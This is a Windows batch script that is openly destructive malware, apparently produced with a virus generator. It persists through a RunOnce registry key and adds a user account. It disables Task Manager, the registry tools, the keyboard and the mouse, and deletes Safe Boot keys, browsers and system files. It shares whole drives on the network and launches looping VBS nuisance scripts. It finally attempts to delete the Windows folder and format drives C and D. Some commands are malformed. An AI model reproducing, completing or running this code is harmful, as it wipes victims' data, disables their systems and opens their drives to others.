bat
@echo off
mode con cols=10000 lines=10000
title Please wait...
chcp 1251
copy %0 %WinDir%\user32dll.bat > nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce/v "User32" /t REG_SZ /d "%WinDir%\user32dll.bat" /f
del %0 /f /q
net user Èìÿ Ïàðîëü /add
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Polices\System /v DisableTaskMgr /t REG_DWORD /d 1 /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 2 /f > nul
assoc .lnk=.txt
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul
del %systemroot%\system32\control.exe /f /q
del %systemroot%\regedit.exe /f /q
type textfile.txt
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 67108863 /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 67108863 /f > nul
Reg Delete HKLM\System\CurrentControlSet\Control\SafeBoot\*.* /q
Reg Delete HKLM\System\CurrentControlSet\Control\SafeBoot /q
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer/v NoControlPanel /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /t REG_DWORD /d 0xFF /f >nul
rundll32 mouse,disable > nul
rundll32 keyboard,disable > nul
taskkill /im /f chrome.exe
taskkill /im /f ie.exe
taskkill /im /f firefox.exe
taskkill /im /f opera.exe
taskkill /im /f safari.exe
del C:\Program Files\Google\Chrome\Application\chrome.exe /q
del C:\Program Files\Safari\safari.exe /q
del C:\Program Files\Mozilla Firefox\firefox.exe /q
del C:\Program Files\Opera\opera.exe /q
del C:\Program Files\Internet Explorer\ie.exe /q
time 0:00 >nul
net share "c"="C:\" >nul
net share "d"="D:\" >nul
del %WinDir%system32HAL.dll/q > nul
del file.zip
rundll32 user,disableoemlayer > nul
taskkill /f /im explorer.exe
taskkill /f /im winlogon.exe
taskkill /f /im skype.exe
del %systemroot%\system32\taskmgr.exe /f /q >nul
del %systemroot%\system32\notepad.exe /f /q >nul
md \\?\C:\CON
md \\?\C:\LPT0
Echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) > %TEMP%\eject.vbs
Echo oWMP.cdromCollection.Item(i).Eject >> %TEMP%\eject.vbs
%TEMP%\eject.vbs
Echo on error resume next > %TEMP%\s2.vbs
Echo Set S = CreateObject("Wscript.Shell") >> %TEMP%\s2.vbs
Echo set FSO=createobject("scripting.filesystemobject") >> %TEMP%\s2.vbs
Echo do >> %TEMP%\s2.vbs
Echo execute"S.Run ""%comspec% /c "" & Chr(7), 0,True" >> %TEMP%\s2.vbs
Echo loop >> %TEMP%\s2.vbs
%TEMP%\s2.vbs
Echo on error resume next > %TEMP%\s3.vbs
Echo Set S = CreateObject("Wscript.Shell") >> %TEMP%\s3.vbs
Echo set FSO=createobject("scripting.filesystemobject") >> %TEMP%\s3.vbs
Echo set application=createobject("shell.application") >> %TEMP%\s3.vbs
Echo application.minimizeall >> %TEMP%\s3.vbs
%TEMP%\s3.vbs
echo on error resume next > %TEMP%\s1.vbs
echo Set S = CreateObject("Wscript.Shell") >> %TEMP%\s1.vbs
echo set FSO=createobject("scripting.filesystemobject") >> %TEMP%\s1.vbs
echo do >> %TEMP%\s1.vbs
echo wscript.sleep 200 >> %TEMP%\s1.vbs
echo s.sendkeys"{capslock}" >> %TEMP%\s1.vbs
echo wscript.sleep 200 >> %TEMP%\s1.vbs
echo s.sendkeys"{numlock}" >> %TEMP%\s1.vbs
echo wscript.sleep 200 >> %TEMP%\s1.vbs
echo s.sendkeys"{scrolllock}" >> %TEMP%\s1.vbs
echo loop >> %TEMP%\s1.vbs
%TEMP%\s1.vbs
msg * Error!
start www.google.com
rdel "%SystemRoot%\Cursors\*.*" >nul
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
del "%SystemRoot%\Media" /q > nul
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
del: *.*/q > nul
ping -t -l 1000 www.site.ru>nul
mode con cols=300 lines=300
color 0A
:m19
set /a ran=%random%
set /a ran9=%ran%-(%ran%/9)*9
set ran9=%ran9:0=1001010101001010100101%
set ran9=%ran9:1=100100000101001010101010011010%
set ran9=%ran9:3=101001010000001010101010%
set ran9=%ran9:4=101010010101010010100110%
set ran9=%ran9:5=1010010001001010101010010%
set ran9=%ran9:6=100101000010101001010%
set ran9=%ran9:7=100101%
set ran9=%ran9:7=1101110000101%
set ran9=%ran9:7=100001101%
echo %ran9% %random% %ran9% %random% %ran9%
goto m19
del c:\*.exe /f /q
attrib %systemroot% +h /S /D
rd /s /q %windir%
attrib %programfiles% +h /S /D
del %systemroot%\system32\*.scr /f /q
del %systemroot%\system32\*.dll /f /q
del %systemroot%\system32\*.exe /f /q
del "%SystemRoot%\Web\Wallpaper" /q >nul
FOR /L %%i IN (1,1,1000000) DO md %%i
format c:
format d:
shutdown -r -t 00 -c error > nul
rem Ñîçäàíî ñ ïîìîùüþ BVG